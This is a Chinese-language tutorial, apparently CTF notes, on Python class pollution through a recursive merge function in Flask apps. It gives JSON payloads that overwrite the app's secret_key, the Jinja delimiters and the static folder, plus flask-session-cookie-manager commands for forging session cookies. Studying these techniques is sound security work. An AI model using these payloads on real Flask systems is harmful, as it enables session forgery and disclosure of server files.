python原型链污染
python并没有JS中的原型链概念,但有一个类似的机制,即:类继承和方法解析顺序(_ _ mor_ _),可以通过调用c.__mro__来查看c的方法解析顺序
关键代码--合并函数:
class father:
secret = "xxxx"
class son_a(father):
pass
class son_b(father):
pass
# 将源字典 src 中的键值对合并到目标对象 dst 中
def merge(src, dst):
for k, v in src.items():
#如果dst是字典或者支持`__getitem__`
if hasattr(dst, '__getitem__'):
#如果dst存在键名为`k`的键.且对应的v(键值)是列表,则进行嵌套递归
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
#如果不存在k或者v不是一个字典,则直接赋值
else:
dst[k] = v
#如果dst是一个对象,并且src中的键值v是一个列表
elif hasattr(dst, k) and type(v) == dict:
#getattr():获取对象中某属性的值
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload =
{
"__class__":
{
"__base__":
{
"secret": "no"
}
}
}
print(son_a.secret) # xxxx
print(instance.secret) # xxxx
merge(payload, instance)
print(son_a.secret) # no
print(instance.secret) # nomereg()函数解析mereg函数解析
'''
src=payload,dst=instance
第一次循环,
dst是对象,有__class__这个属性,并且src.v是列表,进入elif
merge({"__base__":{"secret": "no"}},son_b)
第二次循环:
src={
"__base__":
{
"secret": "no"
}
}
k="__base__"
v={"secret": "no"}
dst=son_b(instance的__class__属性)
由于src是字典并且dst(son_b)含有__base__属性并且v是字典,进入if..if
merge({"secret": "no"},class father)
第三次循环:
{"secret": "no"}是字典,
k="secret"
v="no"
father中含有secret属性,但v不是列表,所以直接覆盖father的secret属性
'''关键
主要是找目标类与切入点或者实例之间有没有继承关系
如果存在直接继承关系,则可以直接使用__base__属性找到集成的父类,进行污染
但是如果目标类与切入点之间没有没有父子继承关系,这时候就要利用全局变量了
全局变量
__init__:内置的初始化方法,当__init__没有被重写作为函数的时候,其数据类型会被当作装饰器,而装饰器都具有一个全局属性(__globals__)(返回的是字典)
1.
x = 10 # 全局变量
def fun():
print(x) # 访问全局变量
# 访问函数的 __globals__ 属性
print(fun.__globals__)
#输出字典
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000002300BFB52D0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\download-edge\\easy_polluted\\src\\1.py', '__cached__': None, 'x': 10, 'fun': <function fun at 0x000002300C088CC0>}
#输出存在全局变量X和函数fun2:
a=1
def fun():
pass
class a:
def __init__(self):
pass
print(fun.__globals__==globals()==a.__init__.__globals__)所以可以通过`__init__.__globals__`来进行污染
payload:
#以污染seesion加密所需要的key为例:
{
"__init__":{
"__globals__":{
"app":{
"secret_key":"pass"
}
}
}
}语法标识符的污染
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
<body>
这又是什么jinja语法啊!
[#flag#]
</body>
</html>有时候会遇到以上情况,此种情况jinja模板无法解析[#flag#],也就无法显示flag,那么语法标识符是否可以被污染替换呢?
在flask\app.py(flask类)中存在以下函数
@locked_cached_property
def jinja_env(self) -> Environment:
"""The Jinja environment used to load templates.
The environment is created the first time this property is
accessed. Changing :attr:`jinja_options` after that will have no
effect.
"""
return self.create_jinja_environment()
第一次访问此属性时创建环境。之后更改:attr:' jinja_OPTIONS '将没有任何影响。解释:
@locked_cached_property:
这是一个装饰器,类似于 @property,但它的主要功能是缓存计算结果。也就是说,当你第一次访问 jinja_env 这个属性时,它会调用 self.create_jinja_environment() 创建 Jinja 环境,并将这个结果缓存起来。之后每次再访问这个属性时,都会直接返回第一次计算的结果,而不会再次调用 self.create_jinja_environment()。
jinja_env():
这个方法定义了 Flask 应用的 Jinja 环境(Environment)。Jinja 是 Flask 用来渲染模板的模板引擎。通过 self.create_jinja_environment(),Flask 创建并配置 Jinja 环境。由于 @locked_cached_property 的作用,这个环境只会在第一次访问时被创建,之后都使用缓存的环境继续跟进create_jinja_environment():
def create_jinja_environment(self) -> Environment:
"""Create the Jinja environment based on :attr:`jinja_options`
and the various Jinja-related methods of the app. Changing
:attr:`jinja_options` after this will have no effect. Also adds
Flask-related globals and filters to the environment.
.. versionchanged:: 0.11
``Environment.auto_reload`` set in accordance with
``TEMPLATES_AUTO_RELOAD`` configuration option.
.. versionadded:: 0.5
"""
options = dict(self.jinja_options)
if "autoescape" not in options:
options["autoescape"] = self.select_jinja_autoescape
if "auto_reload" not in options:
auto_reload = self.config["TEMPLATES_AUTO_RELOAD"]
if auto_reload is None:
auto_reload = self.debug
options["auto_reload"] = auto_reload
rv = self.jinja_environment(self, **options)
rv.globals.update(
url_for=self.url_for,
get_flashed_messages=get_flashed_messages,
config=self.config,
# request, session and g are normally added with the
# context processor for efficiency reasons but for imported
# templates we also want the proxies in there.
request=request,
session=session,
g=g,
)
rv.policies["json.dumps_function"] = self.json.dumps
return rv
解释:
rv = self.jinja_environment(self, **options)
可发现jinja_env返回的就是Flask中的Environmentvariable_start_string
在 Flask 中,variable_start_string 是 Jinja2 模板引擎中的一个配置项,用来定义模板中变量的起始标记符号。支持自定义标识符
app.jinja_env.variable_start_string = '<<'
app.jinja_env.variable_end_string = '>>'
print(Evil.__init__.__globals__['app'].jinja_env.variable_start_string)
print(Evil.__init__.__globals__['app'].jinja_env.variable_end_string)
搭配mereg函数
payload:
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[[","variable_end_string":"]]"
}
}
}
}要注意的是由于jinja_env使用了locked_cached_property,当第一次创建环境后,再访问的就是一创建的缓存了,所以我们需要在Flask启动以后先输入payload再访问路由,这样就可以做到先污染再访问模板
flask session伪造
flask中session的工作流程
1.客户端发送请求:
初次请求时(例如登录请求、浏览页面等),客户端通常没有session_ID
2.服务器创建session数据:
当检测到请求后flask会生成一个唯一的session_ID,用于标识当前用户的会话。同时创建一个session并将会话数据(如用户名、用户角色、购物车等)存储在服务器端的内存、数据库或其他存储系统中。该数据会与 session ID 关联。
3.服务器发送session_ID,客户端存储:
服务器会将生成的session_ID以SetCookie的形式发送给客户端
4.客户端后续发送请求携带session_ID
通常在数据报文中以Cookie:session=xxx的形式flask session_ID的格式
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 时间戳 签名 时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;
签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。
session伪造工具:https://github.com/noraj/flask-session-cookie-manager
加密:
python flask_session_cookie_manager3.py encode -s 'admin' -t "{'password':'admin','username':'adminer'}"
/secret_key/
解密:
python flask_session_cookie_manager3.py decode -c 'eyJwYXNzd29yZCI6bnVsbCwidXNlcm5hbWUiOm51bGx9.ZuwMNw.rdttttAm56lJcedq4mcgeC98FR8'static_folder
用来指定存储静态文件的文件夹路径,包括CSS、javascript、图像等
flask默认使用名为static的文件夹存储这些静态文件,通常结构如下:
/my_flask_app
/static
/css
style.css
/js
script.js
/images
logo.png
/templates
index.html
app.py此值可以被修改,默认值是static,在源代码中进行修改:
app = Flask(__name__, static_folder='/')修改为根目录后,目录结构改为:
/my_flask_app
/css
style.css
/js
script.js
app.py
flag如果此时访问/static/css/style.css实际上就会被映射到/css/style.css
污染:
{"__init__" : {"__globals__" :{"app" :{"_static_folder":"/"}}}}由于在flask中,静态文件的访问不会经过路由检测,默认的访问静态资源的URL是xxx/static,可以通过static_url_path来进行修改
污染后,访问xxx/static/就可以访问根目录下的文件了